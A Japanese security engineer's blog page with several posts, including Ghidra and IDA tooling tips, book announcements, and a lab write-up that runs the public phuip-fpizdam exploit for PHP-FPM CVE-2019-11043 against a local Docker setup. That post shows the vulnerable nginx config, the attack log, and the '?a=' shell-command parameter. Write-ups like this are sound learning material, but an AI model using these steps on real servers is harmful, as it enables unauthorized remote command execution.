ブログの名前変えた

経緯

やっていき!!

Eclipseを使わずにGhidra Extensionをビルドする方法

Ghidraでは、Ghidra Extensionを作成して機能を拡張できます。 Ghidra Extensionは、使う度にScript Managerを通して呼び出すGhidra Scriptとは違い、Ghidraの起動時に自動的にロードされます。 このため、単にGhidra上で解析を効率化するための機能を実行するだけではなく、UIを拡張できます。

Ghidra Extensionのbuild.gradleにはEclipseに関する情報が書かれていますが、 Eclipseを使わずにGradleというビルドツールをコマンドラインから実行することでもビルド可能です。 環境変数GHIDRA_INSTALL_DIRに ビルド済みのGhidraがあるパスを指定し、gradleコマンドを実行してください。 git cloneして持ってきたままの状態のGhidraのリポジトリのパスを指定してもビルドできないので注意してください。

$ export GHIDRA_INSTALL_DIR=<Ghidraがあるディレクトリへの絶対パス>
$ gradle

また、環境変数GHIDRA_INSTALL_DIRは、gradleコマンドのPオプションに指定することもできます。

$ gradle -PGHIDRA_INSTALL_DIR=<Ghidraがあるディレクトリへの絶対パス>

上のコマンド例ではパスをexportしたり、コマンドのオプションに指定していますが、.bash_profileなどのシェルの設定ファイル内で環境変数として定義しておくことをおすすめします。 ビルドに成功していれば、./dist/以下にZIPファイルのExtensionができています。

Ghidraには、Extension開発の際に、テンプレートとして使うためのSkeleton Extensionが用意されています。 こちらもぜひ参考に見てください。

リバースエンジニアリングツールGhidra実践ガイドを執筆しました

去年、Ghidraについての技術同人誌を書いたことがきっかけで、商業誌としてGhidraを題材にしたリバースエンジニアリングの本を執筆しました。同人誌のときとは比べものにならないほど、ボリュームアップしています(なんと688ページ!!)のでぜひ読んでみてください。本日発売です!!

f:id:TAKEmaru:20200825073050j:plain:w550

www.amazon.co.jp

いい風景ですね

WEB+DB PRESS Vol.118に「はじめての脆弱性調査」を寄稿しました

WEB+DB PRESS Vol.118の「はじめての脆弱性調査」という特集を丸々執筆しました。

ツールの紹介を主とすることで、ナウい話題もいれつつ難易度を抑えたのがこだわりポイントです!古き良きハッカージャパンの記事を思い出しながら書きました。nginx alias traversalとかsubdomain takeoverとかナウいマニアックなお話も載っているので、入門記事の対象ではない方々もぜひ読んで見てください!8月24日発売です!

f:id:TAKEmaru:20200731124008j:plain:w550

gihyo.jp

実は今月はもう1冊著書が出るのですが、そっちはまだ表紙が公開されてないのでまた後日...

IDAPythonでpyenvでインストールしたPythonを選択する方法

IDAはバージョン7.4からPython3に対応した

IDAは拡張性にすぐれており、IDAPythonという独自拡張されたPythonによるスクリプティング機能を備えています。 最近までPython2系にしか対応していませんでしたが、バージョン7.4からPython3系に対応しました! 普通はIDAのインストーラがインストールされているPythonを見つけていいかんじにセットアップしてくれるのですが、 私の環境ではpyenvを使っているためやってくれませんでした.... その解決方法を紹介します!私はmacOS上にIDAをインストールしているので、 ここでの説明はmacOS向けのものになりますが、他OSでもおそらく手順は変わりません。

idapyswitchコマンドで使うPythonを選択する

インストーラPythonを見つけてくれなかったり、インストール後に異なるバージョンのPythonに切り替えたかったりしたときは、 idapyswitchコマンドで使用するPythonを後から選択可能です。 idapyswitchコマンドのヘルプに書かれている通り、主な使い方は、 「インストールされているPythonを見つける」、「見つけたPythonを適用する」、「Pythonの動的ライブラリのパスを指定して適用する」の3つです。

$ /Applications/IDA\ Pro\ 7.5/ida64.app/Contents/MacOS/idapyswitch -h
(省略)
IDA is no exception, and this tool is one such Python3 'switcher'.

It can be run in 3 ways:

  1) The default, interactive way
  -------------------------------
     > $ idapyswitch
   will look on the filesystem for available Python3 installations,
   present the user with a list of found versions (sorted according
   to preferability), and let the user pick which one IDA should use.

  2) The 'automatic' way
  ----------------------
     > $ idapyswitch --auto-apply
   will look on the filesystem for available Python3 installations,
   and automatically pick the one it deemed the most preferable.

  3) The 'manual' way
  -------------------
     > $ idapyswitch --force-path /path/to/Python.framework/Versions/3.7/Python
   will pick the path that the user provided.

Once a version is picked, this tool will do the following:

  * patch 'idapython.dylib' and 'idapython64.dylib' so that
    they refer to the right Python3 dylib.

なぜpyenvでインストールしたPythonを選択できなかったか

pyenvでPythonをインストールした場合、静的ライブラリを使ったものがインストールされますが、 idapyswitchコマンドで指定できるのは、Pythonランタイムの動的ライブラリです。 そのため、インストーラがpyenvでインストールしたPythonを認識できなかったようです。 macOSではotoolコマンドで実行ファイルに動的リンクされたライブラリを確認できます。 pyenvでインストールしたpythonの実行ファイルに対して、otoolコマンドを使うと次のようになります。 Python特有の動的ライブラリは確認できません。

$ otool -L /Users/tkmru/.pyenv/versions/3.8.3/bin/python
/Users/tkmru/.pyenv/versions/3.8.3/bin/python:
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
(compatibility version 150.0.0, current version 1575.17.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current
version 1252.250.1)

pyenvでPythonをインストールする際に--enable-frameworkを指定すると、Pythonランタイムの動的ライブラリが生成されます。

$ env PYTHON_CONFIGURE_OPTS="--enable-framework" pyenv install 3.8.3

otoolで確認すると、Pythonという名前の動的ライブラリが確認できます。 idapyswitchコマンドでこのパスを指定すると、IDAがpyenvでインストールしたPythonを認識してくれます。

$ otool -L /Users/tkmru/.pyenv/versions/3.8.3/bin/python
/Users/tkmru/.pyenv/versions/3.8.3/bin/python:
    /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python (compatibility version 3.8.0, current version 3.8.0)
    /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.250.1)

$ file /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python
/Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python: Mach-O 64-bit dynamically linked shared library x86_64

$ /Applications/IDA\ Pro\ 7.5/ida64.app/Contents/MacOS/idapyswitch --force-path \
> /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python

去年、Hacktoberfestに参加してTシャツとステッカーをもらった

Hacktoberfestのときに出したプルリクのひとつが最近マージされて存在を思い出した。 Tシャツとステッカーは1月上旬に来た気がする。

f:id:TAKEmaru:20200105220339j:plain:w700

f:id:TAKEmaru:20200105222628j:plain:w700

f:id:TAKEmaru:20200105220553j:plain:w700

Hacktoberfestとは

HacktoberfestはDigitalOceanとDEVによって毎年10月に行われているイベントです。 1ヶ月の間にプルリクエストを4つ、GitHubのパブリックリポジトリに送ると、先着50,000人にTシャツとステッカーがもらえるナイスなイベントです。

hacktoberfest.digitalocean.com

OSSやっていき〜

任意コード実行が可能なPHP-FPMの脆弱性(CVE-2019-11043)を試してみた

少し前に出たCVE-2019-11043という脆弱性を試してみました。すでに日本語解説記事もありますが備忘録ということで。

脆弱性概要

PHPFastCGI 実装のひとつの PHP-FPM(FastCGI Process Manager)に任意コード実行が可能な脆弱性(CVE-2019-11043)が見つかりました。NginxとPHP-FPMで構成された環境において以下のような設定がされている場合に任意コード実行が可能でした。

  • locationディレクティブでリクエストをPHP-FPMに転送するようになっている
  • PATH_INFO変数を割り当てる際にfastcgi_paramディレクティブが使用されている
  • fastcgi_split_path_infoディレクティブが存在し、^ で始まり$で終わる正規表現が用いられている
  • try_files $uri=404 のようなファイルの有無を判断するためのチェックがない

例を挙げるとNginxに以下のようなconfigが設定され、PHP-FPMにリクエストを転送している場合です。

location ~ [^/]\.php(/|$) {
     fastcgi_split_path_info ^(.+?\.php)(/.*)$;
     fastcgi_param PATH_INFO $fastcgi_path_info;
     fastcgi_pass php:9000;
     ...
}

fastcgi_split_path_infoディレクティブに指定されている正規表現が改行コード%0Aを解釈すると、空のPHP_INFOがPHP-FPM サーバーに送られます。 PHP-FPMがPHP_INFO の値を誤って処理することでバッファアンダーフローが発生し、最終的にPHPの実行環境の変数にリモートコード実行可能な設定を上書きすることができます。

詳しくは発見者がZeroNights2019で発表した以下のスライドを見てください。

https://github.com/neex/phuip-fpizdam/blob/master/ZeroNights2019.pdf

また、この脆弱性の修正コミットはこちらです。 github.com

以下のバージョンのPHPがこの脆弱性の影響を受けます。

  • 7.1.x 〜 7.1.32
  • 7.2.x 〜 7.2.23
  • 7.3.x 〜 7.3.11

試してみる

実際に攻撃してみます。

環境

この脆弱性の発見者が作成したphuip-fpizdamというexplotツールと、 vulhubにある検証用のdocker-compose環境を使います。

github.com github.com

この検証用のdocker-compose環境はbindingアドレスが0.0.0.0となっていて、そのまま使うとネットワーク上の他のホストからアクセス可能な検証環境が出来てしまいます。docker-compose.ymlのportsの部分を127.0.0.1を指定するように変更してから、docker-compose up -dを実行すると自ホストのみに閉じた検証環境になります。

services:
 nginx:
   ...
   ports:
    - "127.0.0.1:8080:80" # 変更する行
   ...

また、bindingアドレスが変更できているかどうかは、docker ps -aで確認できます。8080番ポートでNginxサーバーが、9000番ポートでPHPプロセスがそれぞれ待ち受けています。

$ docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS                    PORTS                                          NAMES
e2779ab00718        nginx:1             "nginx -g 'daemon of…"   5 seconds ago       Up 4 seconds              127.0.0.1:8080->80/tcp                         cve-2019-11043_nginx_1
e11c381f541b        php:7.2.10-fpm      "docker-php-entrypoi…"   6 seconds ago       Up 5 seconds              9000/tcp                                       cve-2019-11043_php_1

やる

http://127.0.0.1:8080hello worldと返すだけの単純なPHPCGIスクリプトが動いています。 f:id:TAKEmaru:20191213132603p:plain

こちらに対して、phuip-fpizdamコマンドを実行してみます。

$ phuip-fpizdam http://127.0.0.1:8080/index.php
2019/12/12 23:28:17 Base status code is 200
2019/12/12 23:28:17 Status code 502 for qsl=1800, adding as a candidate
2019/12/12 23:28:18 The target is probably vulnerable. Possible QSLs: [1790 1795 1800]
2019/12/12 23:28:19 Attack params found: --qsl 1795 --pisos 152 --skip-detect
2019/12/12 23:28:19 Trying to set "session.auto_start=0"...
2019/12/12 23:28:19 Detect() returned attack params: --qsl 1795 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/12/12 23:28:19 Performing attack using php.ini settings...
2019/12/12 23:28:19 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/12/12 23:28:19 Trying to cleanup /tmp/a...
2019/12/12 23:28:19 Done!

Success!と出たので攻撃に成功したようです。Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLsとあるので、URLの末尾に?a=コマンドというふうに付けてあげることで任意のコマンドを指定できるようです。

idコマンドを実行してみると以下のようになりました。

f:id:TAKEmaru:20191213133445p:plain

まとめ

簡単に任意のコマンドが実行できてしまう深刻な脆弱性でした。 開発者目線では怖い脆弱性ですが、ペンテスター目線では条件がきびしいものの、カジュアルに攻撃することができて有用な脆弱性だなーと思いました。 OSSに任意コード実行ができる脆弱性を見つけたいものですね。

参考資料